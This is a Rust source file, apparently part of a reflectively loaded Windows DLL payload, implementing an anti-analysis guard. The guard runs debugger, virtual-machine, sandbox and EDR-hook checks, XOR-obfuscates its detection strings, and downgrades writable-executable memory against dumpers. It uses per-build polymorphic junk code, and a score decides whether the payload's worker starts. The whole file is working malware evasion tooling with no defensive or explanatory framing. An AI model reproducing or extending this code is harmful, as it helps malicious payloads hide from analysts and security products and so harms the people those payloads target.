656 lines
23 KiB
Rust
656 lines
23 KiB
Rust
//! Runtime guard: anti-analysis / anti-debug / anti-VM / sandbox detection.
|
|
//!
|
|
//! Runs once inside `DllMain` (after the reflective loader has fully mapped and
|
|
//! relocated the image, so normal `std` is available). If the environment looks
|
|
//! hostile — a debugger, a virtual machine, a sandbox, or a known analysis tool
|
|
//! — the guard reports `false` and the payload refuses to start its worker.
|
|
//!
|
|
//! All detection strings are XOR-encrypted at compile time and only materialized
|
|
//! on the stack at the moment of the check, so traces of what the guard is
|
|
//! looking for do not sit in `.rodata` as plaintext.
|
|
//!
|
|
//! The guard is deliberately *defensive*: each check is independent and a few
|
|
//! false positives are tolerated (a score system, not a single hard kill), so a
|
|
//! real user on a clean machine still runs, while analysis environments that
|
|
//! trip many signals are dropped.
|
|
|
|
use core::arch::asm;
|
|
use core::ffi::c_void;
|
|
use core::ptr;
|
|
|
|
use crate::abi;
|
|
use crate::antihook;
|
|
use crate::antisbx;
|
|
use crate::antivm;
|
|
use crate::apires;
|
|
use crate::dynapi;
|
|
use crate::flow;
|
|
use crate::gen;
|
|
use crate::obf;
|
|
use crate::sleep;
|
|
use crate::syscall;
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// Encrypted string helpers
|
|
// ---------------------------------------------------------------------------
|
|
|
|
/// ASCII-lowercase a byte slice.
|
|
fn lower(b: &[u8]) -> Vec<u8> {
|
|
b.iter().map(|c| c.to_ascii_lowercase()).collect()
|
|
}
|
|
|
|
/// Case-insensitive substring match on bytes.
|
|
fn contains(hay: &[u8], needle: &[u8]) -> bool {
|
|
if needle.is_empty() || hay.len() < needle.len() {
|
|
return false;
|
|
}
|
|
hay.windows(needle.len()).any(|w| w.eq_ignore_ascii_case(needle))
|
|
}
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// Anti-debug
|
|
// ---------------------------------------------------------------------------
|
|
|
|
/// PEB being-debugged flag (gs:[0x60] -> PEB.BeingDebugged at +0x02).
|
|
#[inline]
|
|
unsafe fn peb_being_debugged() -> bool {
|
|
let peb: usize;
|
|
asm!("mov {}, qword ptr gs:[0x60]", out(reg) peb, options(nostack, preserves_flags));
|
|
let being = ptr::read_volatile((peb + 0x02) as *const u8);
|
|
being != 0
|
|
}
|
|
|
|
/// PEB->NtGlobalFlag at +0xBC (x64). A debugger sets heap-related flags that
|
|
/// remain set for the process lifetime (heap flags: 0x70).
|
|
#[inline]
|
|
unsafe fn peb_nt_global_flag() -> bool {
|
|
let peb: usize;
|
|
asm!("mov {}, qword ptr gs:[0x60]", out(reg) peb, options(nostack, preserves_flags));
|
|
let flags = ptr::read_volatile((peb + 0xBC) as *const u32);
|
|
// FLG_HEAP_ENABLE_TAIL_CHECK | FLG_HEAP_ENABLE_FREE_CHECK |
|
|
// FLG_HEAP_VALIDATE_PARAMETERS | FLG_APPLICATION_VERIFIER
|
|
const HEAP_FLAGS: u32 = 0x70 | 0x10 | 0x40;
|
|
flags & HEAP_FLAGS == HEAP_FLAGS
|
|
}
|
|
|
|
/// ProcessDebugPort (info class 7) resolved at runtime via hash (no static
|
|
/// import). Returns true if a debugger is listening on the debug port.
|
|
unsafe fn nt_debug_port() -> bool {
|
|
apires::dyn_query_debug_port()
|
|
}
|
|
|
|
/// Check the debug heap on the current process handle (kernel32, resolved at
|
|
/// runtime so it doesn't appear in the import table).
|
|
unsafe fn remote_debugger_present() -> bool {
|
|
apires::dyn_check_remote_debugger()
|
|
}
|
|
|
|
/// Timing check: RDTSC must tick at a sane rate. Stepping through the code
|
|
/// under a breakpoint dramatically inflates the delta.
|
|
#[inline]
|
|
unsafe fn rdtsc() -> u64 {
|
|
let mut lo: u32;
|
|
let mut hi: u32;
|
|
asm!("lfence", "rdtsc", out("eax") lo, out("edx") hi, options(nostack, preserves_flags));
|
|
((hi as u64) << 32) | lo as u64
|
|
}
|
|
|
|
unsafe fn timing_sane() -> bool {
|
|
let a = rdtsc();
|
|
let mut sink: u64 = 0;
|
|
for i in 0..2000u64 {
|
|
sink ^= i.wrapping_mul(0x9E37_79B9);
|
|
}
|
|
let b = rdtsc();
|
|
let _ = sink;
|
|
// Single-stepping / breakpoints insert far more cycles than a real loop.
|
|
b.wrapping_sub(a) < 500_000
|
|
}
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// Anti-VM
|
|
// ---------------------------------------------------------------------------
|
|
|
|
#[repr(C)]
|
|
#[derive(Clone, Copy)]
|
|
struct MemStatusEx {
|
|
dw_length: u32,
|
|
dw_memory_load: u32,
|
|
ull_total_phys: u64,
|
|
ull_avail_phys: u64,
|
|
ull_total_page_file: u64,
|
|
ull_avail_page_file: u64,
|
|
ull_total_virtual: u64,
|
|
ull_avail_virtual: u64,
|
|
ull_avail_extended_virtual: u64,
|
|
}
|
|
|
|
/// CPUID hypervisor-present bit (leaf 1, ECX bit 31) and vendor string
|
|
/// (leaf 0x40000000). Detects Hyper-V, VMware, KVM, VirtualBox, QEMU, Xen.
|
|
unsafe fn cpu_hypervisor() -> bool {
|
|
#[inline]
|
|
unsafe fn cpuid(leaf: u32, sub: u32) -> (u32, u32, u32, u32) {
|
|
let mut a = leaf;
|
|
let mut c = sub;
|
|
let mut d = 0u32;
|
|
let mut b = 0u32;
|
|
// rbx is owned by LLVM, so save/restore it across cpuid and capture ebx
|
|
// into a general-purpose register operand.
|
|
asm!(
|
|
"push rbx",
|
|
"cpuid",
|
|
"mov {tmp:e}, ebx",
|
|
"pop rbx",
|
|
inout("eax") a,
|
|
inout("ecx") c,
|
|
out("edx") d,
|
|
tmp = lateout(reg) b,
|
|
options(nostack, preserves_flags),
|
|
);
|
|
(a, b, c, d)
|
|
}
|
|
|
|
// Hypervisor present?
|
|
let (_, _, ecx, _) = cpuid(1, 0);
|
|
if ecx & (1 << 31) == 0 {
|
|
return false;
|
|
}
|
|
// Vendor string (12 bytes in EBX:EDX:ECX).
|
|
let (ebx, edx, ecx, _) = cpuid(0x4000_0000, 0);
|
|
let mut v = Vec::with_capacity(12);
|
|
for b in [ebx.to_le_bytes(), ecx.to_le_bytes(), edx.to_le_bytes()].iter().flatten() {
|
|
v.push(*b);
|
|
}
|
|
let vl = lower(&v);
|
|
let key: u8 = gen::K_VENDOR;
|
|
let bad: [(obf::Slot, u32); 7] = [
|
|
obf::sig(gen::K_VENDOR, 0x1001, b"vmware"), obf::sig(gen::K_VENDOR, 0x1002, b"virtualbox"),
|
|
obf::sig(gen::K_VENDOR, 0x1003, b"kvm"), obf::sig(gen::K_VENDOR, 0x1004, b"qemu"),
|
|
obf::sig(gen::K_VENDOR, 0x1005, b"xen"), obf::sig(gen::K_VENDOR, 0x1006, b"vbox"),
|
|
obf::sig(gen::K_VENDOR, 0x1007, b"microsoft h"),
|
|
];
|
|
const LENS: [usize; 7] = [6, 10, 3, 4, 3, 4, 11];
|
|
bad.iter().enumerate().any(|(i, s)| {
|
|
let plain = obf::dec_sig(key, s, LENS[i]);
|
|
contains(&vl, &plain[..LENS[i]])
|
|
})
|
|
}
|
|
|
|
/// SMBIOS firmware string table search.
|
|
unsafe fn smbios_firmware() -> bool {
|
|
const RSMB: u32 = 0x5253_4D42; // 'RSMB'
|
|
let size = dynapi::GetSystemFirmwareTable(RSMB, 0, ptr::null_mut(), 0);
|
|
if size == 0 || size > 4 * 1024 * 1024 {
|
|
return false;
|
|
}
|
|
let mut buf = vec![0u8; size as usize];
|
|
let got = dynapi::GetSystemFirmwareTable(RSMB, 0, buf.as_mut_ptr() as *mut c_void, size);
|
|
if got == 0 {
|
|
return false;
|
|
}
|
|
buf.truncate(got as usize);
|
|
let bl = lower(&buf);
|
|
let key: u8 = gen::K_SMBIOS;
|
|
let bad: [(obf::Slot, u32); 6] = [
|
|
obf::sig(gen::K_SMBIOS, 0x2001, b"vmware"), obf::sig(gen::K_SMBIOS, 0x2002, b"virtualbox"),
|
|
obf::sig(gen::K_SMBIOS, 0x2003, b"qemu"), obf::sig(gen::K_SMBIOS, 0x2004, b"kvm"),
|
|
obf::sig(gen::K_SMBIOS, 0x2005, b"innotek"), obf::sig(gen::K_SMBIOS, 0x2006, b"bochs"),
|
|
];
|
|
const LENS: [usize; 6] = [6, 10, 4, 3, 7, 5];
|
|
bad.iter().enumerate().any(|(i, s)| {
|
|
let plain = obf::dec_sig(key, s, LENS[i]);
|
|
contains(&bl, &plain[..LENS[i]])
|
|
})
|
|
}
|
|
|
|
/// Ask the OS for key system facts and probe for VM-typical characteristics.
|
|
unsafe fn gather_system_quirks() -> bool {
|
|
// Low total RAM (< 2GB) is common in thin sandboxes.
|
|
let mut ms = MemStatusEx {
|
|
dw_length: std::mem::size_of::<MemStatusEx>() as u32,
|
|
dw_memory_load: 0,
|
|
ull_total_phys: 0,
|
|
ull_avail_phys: 0,
|
|
ull_total_page_file: 0,
|
|
ull_avail_page_file: 0,
|
|
ull_total_virtual: 0,
|
|
ull_avail_virtual: 0,
|
|
ull_avail_extended_virtual: 0,
|
|
};
|
|
if abi::GlobalMemoryStatusEx(&mut ms as *mut _ as *mut c_void) != 0 {
|
|
if ms.ull_total_phys > 0 && ms.ull_total_phys < 2 * 1024 * 1024 * 1024 {
|
|
return true;
|
|
}
|
|
}
|
|
|
|
// A single-core / single-thread CPU is a common VM giveaway.
|
|
#[repr(C)]
|
|
#[derive(Clone, Copy)]
|
|
struct SysInfo {
|
|
processor_arch: u16,
|
|
page_size: u32,
|
|
min_app_addr: usize,
|
|
max_app_addr: usize,
|
|
active_processor_mask: usize,
|
|
num_processors: u32,
|
|
processor_type: u32,
|
|
alloc_granularity: u32,
|
|
processor_level: u16,
|
|
processor_revision: u16,
|
|
}
|
|
let mut si: SysInfo = unsafe { std::mem::zeroed() };
|
|
abi::GetSystemInfo(&mut si as *mut _ as *mut c_void);
|
|
if si.num_processors <= 1 {
|
|
return true;
|
|
}
|
|
|
|
false
|
|
}
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// Anti-analyze / sandbox
|
|
// ---------------------------------------------------------------------------
|
|
|
|
unsafe fn process_scan() -> bool {
|
|
const TH32CS_SNAPPROCESS: u32 = 0x2;
|
|
let snap = abi::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
|
if snap == 0 || snap == abi::INVALID_HANDLE_VALUE {
|
|
return false;
|
|
}
|
|
|
|
#[repr(C)]
|
|
struct PROCESSENTRY32W {
|
|
dw_size: u32,
|
|
cnt_usage: u32,
|
|
th32_process_id: u32,
|
|
th32_default_heap_id: usize,
|
|
th32_module_id: u32,
|
|
cnt_threads: u32,
|
|
th32_parent_process_id: u32,
|
|
pc_pri_class_base: i32,
|
|
dw_flags: u32,
|
|
sz_exe_file: [u16; 260],
|
|
}
|
|
|
|
let mut entry: PROCESSENTRY32W = unsafe { std::mem::zeroed() };
|
|
entry.dw_size = std::mem::size_of::<PROCESSENTRY32W>() as u32;
|
|
|
|
// Tool-name signatures, XOR keystream so they don't sit in plaintext.
|
|
let key: u8 = gen::K_TOKEN;
|
|
let tools: [(obf::Slot, u32); 10] = [
|
|
obf::sig(gen::K_TOKEN, 0x3001, b"x64dbg"), obf::sig(gen::K_TOKEN, 0x3002, b"ollydbg"),
|
|
obf::sig(gen::K_TOKEN, 0x3003, b"windbg"), obf::sig(gen::K_TOKEN, 0x3004, b"ida"),
|
|
obf::sig(gen::K_TOKEN, 0x3005, b"procmon"), obf::sig(gen::K_TOKEN, 0x3006, b"procmon64"),
|
|
obf::sig(gen::K_TOKEN, 0x3007, b"vmtoolsd"), obf::sig(gen::K_TOKEN, 0x3008, b"wireshark"),
|
|
obf::sig(gen::K_TOKEN, 0x3009, b"tcpview"), obf::sig(gen::K_TOKEN, 0x300a, b"fiddler"),
|
|
];
|
|
const LENS: [usize; 10] = [6, 7, 6, 3, 7, 9, 8, 9, 7, 7];
|
|
|
|
let mut found = false;
|
|
if abi::Process32FirstW(snap, &mut entry as *mut _ as *mut c_void) != 0 {
|
|
loop {
|
|
let mut name = Vec::with_capacity(520);
|
|
for ch in entry.sz_exe_file.iter() {
|
|
if *ch == 0 {
|
|
break;
|
|
}
|
|
name.push(*ch as u8);
|
|
}
|
|
let nl = lower(&name);
|
|
for (i, s) in tools.iter().enumerate() {
|
|
let plain = obf::dec_sig(key, s, LENS[i]);
|
|
if contains(&nl, &plain[..LENS[i]]) {
|
|
found = true;
|
|
break;
|
|
}
|
|
}
|
|
if found {
|
|
break;
|
|
}
|
|
if abi::Process32NextW(snap, &mut entry as *mut _ as *mut c_void) != 0 {
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
abi::CloseHandle(snap);
|
|
found
|
|
}
|
|
|
|
/// Probe the running environment for analyst/sandbox environment variables.
|
|
/// A handful of well-known sandbox marker variables are checked; if any non-empty
|
|
/// value is set the environment is treated as suspicious.
|
|
unsafe fn env_probe() -> bool {
|
|
let key: u8 = gen::K_ENV;
|
|
let mut out = [0u16; 512];
|
|
|
|
// Names are XOR-encrypted so they don't sit in plaintext.
|
|
let names: [(obf::Slot, u32); 4] = [
|
|
obf::sig(gen::K_ENV, 0x4001, b"SBIX"), obf::sig(gen::K_ENV, 0x4002, b"VIRTUALIZATION"),
|
|
obf::sig(gen::K_ENV, 0x4003, b"ANALYSIS"), obf::sig(gen::K_ENV, 0x4004, b"DYNT_AMBER"),
|
|
];
|
|
const LENS: [usize; 4] = [4, 13, 8, 10];
|
|
|
|
for (i, s) in names.iter().enumerate() {
|
|
let raw = obf::dec_sig(key, s, LENS[i]);
|
|
let mut nm: Vec<u16> = raw[..LENS[i]].iter().map(|&c| c as u16).collect();
|
|
nm.push(0);
|
|
let got = abi::GetEnvironmentVariableW(nm.as_ptr(), out.as_mut_ptr(), 512);
|
|
if got > 0 && got < 512 {
|
|
return true;
|
|
}
|
|
}
|
|
false
|
|
}
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// Anti-dump / memory hardening
|
|
// ---------------------------------------------------------------------------
|
|
|
|
#[repr(C)]
|
|
#[derive(Clone, Copy)]
|
|
struct MemoryBasicInfo {
|
|
base_address: *mut c_void,
|
|
allocation_base: *mut c_void,
|
|
allocation_protect: u32,
|
|
region_size: usize,
|
|
state: u32,
|
|
protect: u32,
|
|
_type: u32,
|
|
}
|
|
|
|
const MEM_COMMIT: u32 = 0x1000;
|
|
const PAGE_EXECUTE_READWRITE: u32 = 0x40;
|
|
const PAGE_EXECUTE_WRITECOPY: u32 = 0x80;
|
|
|
|
/// Detect a call stack that originates from a suspicious module (a dumper / EDR
|
|
/// hooking common APIs often leaves its DLL on the stack). Heuristic: count how
|
|
/// many distinct allocation regions are RWX — a process holding many RWX regions
|
|
/// is either self-modifying or under an active memory scanner.
|
|
unsafe fn suspicious_memory_maps() -> bool {
|
|
let mut info: MemoryBasicInfo = std::mem::zeroed();
|
|
let mut addr: usize = 0;
|
|
let mut rwx: u32 = 0;
|
|
while addr < usize::MAX - 16 {
|
|
let got = abi::VirtualQuery(
|
|
addr as *const c_void,
|
|
&mut info as *mut _ as *mut c_void,
|
|
std::mem::size_of::<MemoryBasicInfo>(),
|
|
);
|
|
if got == 0 {
|
|
break;
|
|
}
|
|
if info.state == MEM_COMMIT {
|
|
let prot = info.protect & 0xFF;
|
|
if prot == PAGE_EXECUTE_READWRITE || prot == PAGE_EXECUTE_WRITECOPY {
|
|
rwx += 1;
|
|
}
|
|
}
|
|
// Advance to next region; a zero-size region means stop.
|
|
let next = info.base_address as usize + info.region_size;
|
|
if next <= addr {
|
|
break;
|
|
}
|
|
addr = next;
|
|
}
|
|
// A healthy process rarely exceeds this; a debugger/dumper allocating scratch
|
|
// RWX regions will. Keep the threshold high to avoid false positives.
|
|
rwx >= 6
|
|
}
|
|
|
|
/// Sweep committed pages and downgrade any writable+executable regions to
|
|
/// EXECUTE_READ, so a bulk memory dumper (which snapshots RWX areas) cannot
|
|
/// trivially read back a hot section. Uses the runtime-resolved VirtualProtect
|
|
/// (hash walk) so the guard doesn't import it statically.
|
|
unsafe fn harden_image() -> bool {
|
|
let mut info: MemoryBasicInfo = std::mem::zeroed();
|
|
let mut addr: usize = 0;
|
|
let mut anomaly = false;
|
|
let mut down: u32 = 0;
|
|
while addr < usize::MAX - 16 {
|
|
let got = abi::VirtualQuery(
|
|
addr as *const c_void,
|
|
&mut info as *mut _ as *mut c_void,
|
|
std::mem::size_of::<MemoryBasicInfo>(),
|
|
);
|
|
if got == 0 {
|
|
break;
|
|
}
|
|
if info.state == MEM_COMMIT {
|
|
let prot = info.protect & 0xFF;
|
|
if prot == PAGE_EXECUTE_READWRITE || prot == PAGE_EXECUTE_WRITECOPY {
|
|
anomaly = true;
|
|
if apires::dyn_downgrade_rwx(info.base_address, info.region_size) {
|
|
down += 1;
|
|
}
|
|
}
|
|
}
|
|
let next = info.base_address as usize + info.region_size;
|
|
if next <= addr {
|
|
break;
|
|
}
|
|
addr = next;
|
|
}
|
|
let _ = down;
|
|
anomaly
|
|
}
|
|
|
|
/// Block the process from being dumped by a debugger using a debug-flag lock.
|
|
/// Uses the *runtime resolved* NtQueryInformationProcess (hash walk), not the
|
|
/// static import, so the guard doesn't declare this API in its PE imports.
|
|
unsafe fn prevent_dump() -> bool {
|
|
// ProcessDebugFlags (info class 0x1f) — flags == 0 means the process is
|
|
// being debugged at the kernel level.
|
|
match apires::dyn_query_debug_flags() {
|
|
Some(flags) => flags == 0,
|
|
None => false,
|
|
}
|
|
}
|
|
|
|
/// Check whether ntdll syscall stubs have been hot-patched by an EDR/sandbox.
|
|
unsafe fn hooks_detected() -> bool {
|
|
antihook::detect_hooks()
|
|
}
|
|
|
|
/// Detect a virtual/OEM display by sampling the primary monitor's refresh rate.
|
|
/// Virtual display drivers (RDP, headless VMs, remote desktops) commonly report
|
|
/// a refresh rate far below a physical panel. If the refresh rate is at or below
|
|
/// the supplied ceiling, the environment is treated as virtual.
|
|
///
|
|
/// `dmDisplayFrequency` lives at a fixed offset in DEVMODEW (176 on x64) — we
|
|
/// allocate a wide buffer and read that offset directly, avoiding the layout
|
|
/// pitfalls of the huge union in the real struct.
|
|
unsafe fn low_refresh_display(ceiling_hz: u32) -> bool {
|
|
let mut dm = [0u8; 240];
|
|
let ok = dynapi::EnumDisplaySettingsW(
|
|
ptr::null(),
|
|
abi::ENUM_CURRENT_SETTINGS,
|
|
dm.as_mut_ptr() as *mut c_void,
|
|
);
|
|
if ok == 0 {
|
|
return false;
|
|
}
|
|
// DEVMODEW.dmDisplayFrequency offset (x64): 176. dmSize / dmDriverExtra at
|
|
// +68/+70 tell us how big the returned structure is; only trust the field if
|
|
// the driver confirmed at least that far.
|
|
let dm_size = *(dm.as_ptr().add(68) as *const u16) as usize;
|
|
if dm_size < 176 {
|
|
return false;
|
|
}
|
|
let freq = *(dm.as_ptr().add(176) as *const u32);
|
|
freq != 0 && freq <= ceiling_hz
|
|
}
|
|
|
|
/// Scan attached display devices for a known virtual driver name (RDP / generic
|
|
/// Microsoft basic display). Encrypted signature so it isn't plaintext.
|
|
unsafe fn virtual_display_driver() -> bool {
|
|
// A fixed-size probe device record: we only need the DeviceString up to the
|
|
// first NUL, offset 0 in DISPLAY_DEVICEW (DeviceName at +0, DeviceString at
|
|
// +32). Read via a raw buffer.
|
|
let scan: [(obf::Slot, u32); 5] = [
|
|
obf::sig(gen::K_DISPLAY, 0x5001, b"remote display"), obf::sig(gen::K_DISPLAY, 0x5002, b"rdp"),
|
|
obf::sig(gen::K_DISPLAY, 0x5003, b"basic display"), obf::sig(gen::K_DISPLAY, 0x5004, b"remote"),
|
|
obf::sig(gen::K_DISPLAY, 0x5005, b"virtual display"),
|
|
];
|
|
const LENS: [usize; 5] = [14, 3, 13, 6, 15];
|
|
|
|
let mut i = 0u32;
|
|
while i < 8 {
|
|
let mut buf = [0u16; 256]; // DEVICEW fields, we only read DeviceString at +32
|
|
let ok = dynapi::EnumDisplayDevicesW(ptr::null(), i, buf.as_mut_ptr() as *mut _ as *mut c_void, 0);
|
|
if ok == 0 {
|
|
break;
|
|
}
|
|
let mut name: Vec<u8> = Vec::with_capacity(256);
|
|
for ch in buf.iter().skip(32).take(120) {
|
|
if *ch == 0 {
|
|
break;
|
|
}
|
|
name.push(*ch as u8);
|
|
}
|
|
let nl = lower(&name);
|
|
for (idx, s) in scan.iter().enumerate() {
|
|
let plain = obf::dec_sig(gen::K_DISPLAY, s, LENS[idx]);
|
|
if contains(&nl, &plain[..LENS[idx]]) {
|
|
return true;
|
|
}
|
|
}
|
|
i += 1;
|
|
}
|
|
false
|
|
}
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// Score + decision
|
|
// ---------------------------------------------------------------------------
|
|
|
|
/// Run the full battery. `true` = environment looks hostile → do not start the
|
|
/// payload. Score thresholds keep false positives low on clean hosts.
|
|
pub fn run() -> bool {
|
|
// Initialize syscall numbers and sleep encryption early
|
|
unsafe {
|
|
syscall::init_syscall_numbers();
|
|
sleep::init_sleep_key();
|
|
}
|
|
|
|
let mut score: u32 = 0;
|
|
let seed = flow::run_time_nonce();
|
|
|
|
// Per-build polymorphic junk injected into the entry path so the emitted
|
|
// bytes (and thus the artifact hash) differ on every build.
|
|
flow::junk();
|
|
flow::opaque_choice(seed, || { let _ = flow::branch_tag(); }, || { let _ = seed; });
|
|
|
|
// Windows-only signchecks; everything here is x64 Windows.
|
|
unsafe {
|
|
// --- anti-debug (wrapped in an opaque dispatch so a static analyzer
|
|
// can't cleanly pick a side; both arms are cheap) ---
|
|
flow::opaque_choice(seed, || {
|
|
// --- anti-debug ---
|
|
if peb_being_debugged() {
|
|
score += 3;
|
|
}
|
|
if peb_nt_global_flag() {
|
|
score += 3;
|
|
}
|
|
if nt_debug_port() {
|
|
score += 3;
|
|
}
|
|
if remote_debugger_present() {
|
|
score += 2;
|
|
}
|
|
if !timing_sane() {
|
|
score += 2;
|
|
}
|
|
}, || {});
|
|
|
|
// --- anti-VM (comprehensive, 16 vectors) ---
|
|
// The antivm module aggregates: CPUID bit + vendor, CPU brand string,
|
|
// VMware backdoor port, SIDT/SLDT red pills, SMBIOS strings, registry
|
|
// artifacts, filesystem artifacts, MAC OUI prefixes, uptime anomaly,
|
|
// process count, user-input absence, VM DLLs, tool windows, disk
|
|
// labels. It returns a cumulative score; map it onto ours with weight.
|
|
let avm = antivm::score();
|
|
if avm >= 6 {
|
|
score += 5; // overwhelming evidence of virtualization
|
|
} else if avm >= 3 {
|
|
score += 3; // strong signals
|
|
} else if avm >= 1 {
|
|
score += 1; // weak/noisy signals only
|
|
}
|
|
|
|
// Legacy direct checks kept as independent confirmation:
|
|
if cpu_hypervisor() {
|
|
score += 2;
|
|
}
|
|
if smbios_firmware() {
|
|
score += 1;
|
|
}
|
|
if gather_system_quirks() {
|
|
score += 2;
|
|
}
|
|
|
|
// --- anti-analyze / sandbox (reliability-focused, corroborated) ---
|
|
// The antisbx module uses a tiered model:
|
|
// hard: Sleep acceleration / timer tampering — conclusive alone
|
|
// strong: identity markers, empty desktop — rare on real machines
|
|
// weak: quiet mouse, few windows — only counted with corroboration
|
|
let sbx = antisbx::verdict(6, 250);
|
|
if sbx.hard {
|
|
score += 6; // physically impossible on a clean host
|
|
}
|
|
if sbx.score >= 6 {
|
|
score += 4; // multiple corroborated strong signals
|
|
} else if sbx.score >= 3 {
|
|
score += 2;
|
|
} else if sbx.score >= 1 {
|
|
score += 1;
|
|
}
|
|
|
|
// --- legacy direct checks ---
|
|
if process_scan() {
|
|
score += 3;
|
|
}
|
|
if env_probe() {
|
|
score += 2;
|
|
}
|
|
|
|
// --- anti-dump / memory hardening ---
|
|
if suspicious_memory_maps() {
|
|
score += 3;
|
|
}
|
|
let _ = harden_image(); // runs regardless; only scores via maps above
|
|
if prevent_dump() {
|
|
score += 3;
|
|
}
|
|
|
|
// --- anti-hook (EDR / sandbox hot-patch detection) ---
|
|
if hooks_detected() {
|
|
score += 3;
|
|
}
|
|
|
|
// --- anti-VM via display refresh signature ---
|
|
// 45 Hz and below: virtual/remote display drivers report this; a physical
|
|
// panel is almost never ≤ 45 Hz. Also scan for known virtual driver names.
|
|
if low_refresh_display(45) {
|
|
score += 3;
|
|
}
|
|
if virtual_display_driver() {
|
|
score += 2;
|
|
}
|
|
}
|
|
|
|
// Threshold: a handful of independent signals means it's an analysis box.
|
|
score >= 4
|
|
}
|
|
|
|
/// Second-opinion sandbox check intended to be called by the worker thread
|
|
/// after its first sleep cycle. Sandbox artifacts (accelerated sleeps,
|
|
/// absent user input) become more pronounced over time; transient noise
|
|
/// fades. Returns `true` if the environment now looks like a sandbox —
|
|
/// the caller should then wind down / exit.
|
|
pub fn recheck_sandbox() -> bool {
|
|
flow::junk();
|
|
let v = antisbx::verify_second_pass();
|
|
v.hard || v.score >= 3
|
|
}
|